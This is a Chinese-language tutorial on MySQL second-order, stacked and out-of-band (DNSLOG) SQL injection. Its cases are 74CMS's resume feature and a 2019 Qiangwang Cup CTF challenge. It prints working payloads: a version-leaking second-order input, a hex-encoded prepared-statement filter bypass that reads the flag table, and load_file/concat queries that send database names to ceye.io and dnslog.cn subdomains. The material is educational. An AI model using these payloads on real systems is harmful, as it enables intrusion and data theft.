Web攻防05_MySQL_二次注入&堆叠注入&带外注入

文章目录

  • MYSQL-二次注入-74CMS
      • 思路描述:
      • 注入条件:
      • 案例:74CMS个人中心简历功能
  • MYSQL-堆叠注入-CTF强网
      • 思路描述
      • 注入条件
      • 案例:2019强网杯-随便注(CTF题型)
  • MYSQL-带外注入-DNSLOG
      • 注入条件
      • 使用平台
      • 带外应用场景:

本节内容:

二次注入、堆叠注入、带外注入
Web攻防05_MySQL_二次注入&堆叠注入&带外注入_第1张图片

MYSQL-二次注入-74CMS

该漏洞较冷门,冷门也有好处,热门漏洞大家都会去注意,在挖掘漏洞时可能会不好挖,冷门漏洞可能反而好挖一些

思路描述:

Web攻防05_MySQL_二次注入&堆叠注入&带外注入_第2张图片

黑盒思路:分析功能有添加后对数据操作的地方(功能点)

白盒思路:insert后进入select或update的功能的代码块

注入条件:

插入时有转义函数或配置,后续有可利用插入数据的点

magic_quotes_gpc 魔术引号开关,PHP,开启后自动对引号进行转义

该参数本意阻止SQL注入,但是在二次注入里又需要它

实战中黑盒测试基本上发现不到二次注入,可能性很小,需要的点太多了,而且时间上也不允许,一般二次注入都是从代码审计,白盒测试中找出的。

案例:74CMS个人中心简历功能

74CMS个人中心简历功能

1、在增加简历内容时有注入点:

Web攻防05_MySQL_二次注入&堆叠注入&带外注入_第3张图片

2、发现专业名称一栏有长度限制,检查内容发现是前端限制,直接修改前端代码即可。

插入内容有时会限制长度,分为前端限制和后端限制,后端限制没办法,前端限制的话可以直接修改前端代码即可。

Web攻防05_MySQL_二次注入&堆叠注入&带外注入_第4张图片

3、插入注入语句。

aa',`fullname`=version()#

4、预览简历,触发二次注入,爆出数据库版本:

Web攻防05_MySQL_二次注入&堆叠注入&带外注入_第5张图片

如果是黑盒测试,完全不知道代码如何写的,SQL语句是什么样的,很难发现该漏洞,基本不可能,一般不会黑盒这样测,无法准确的测到。

MYSQL-堆叠注入-CTF强网

思路描述

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,

例如php中的mysqli_multi_query函数。与之相对应的==mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()==这样的函数,根据数据库类型决定是否支持多条语句执行.

注入条件

1、目标存在sql注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条sql语句

4、支持堆叠数据库:MYSQL MSSQL Postgresql等,大部分都支持,主要看函数是否支持多条语句执行

该漏洞注入的内容是一个全新的SQL语句,实战中用的不多,CTF中用的多

案例:2019强网杯-随便注(CTF题型)

';show databases;

';show tables;

';show columns from `1919810931114514`;

';select flag from `1919810931114514`;

# 对select有过滤,将内容换为十六进制码,再加上语句,变量赋值执行进行绕过。

';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

参考文章:https://blog.csdn.net/weixin_45642610/article/details/112337143

MYSQL-带外注入-DNSLOG

注入条件

ROOT高权限且支持load_file(),两者缺一不可

MySQL中secure-file-priv控制安全权限,高版本默认开启该安全策略。

直接用load_file()和带外注入没有区别,只是带外解决了不回显的问题

有部分注入点是没有回显的,所有读取也是没回显的,采用带外

不回显,没有显示,都是可以通过带外解决

使用平台

http://ceye.io

http://www.dnslog.cn

带外应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入语句示例:

and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))

// 查询当前数据库

id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))



//查询其他数据库

id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

由于该DNS记录只能回显一个字段,所以应该使用limit,第一个参数是查询起始位置,第二个参数是查询个数

实战中碰不到。都是在面试/CTF中。

你可能感兴趣的:(安全学习-Web攻防,前端,mysql,数据库)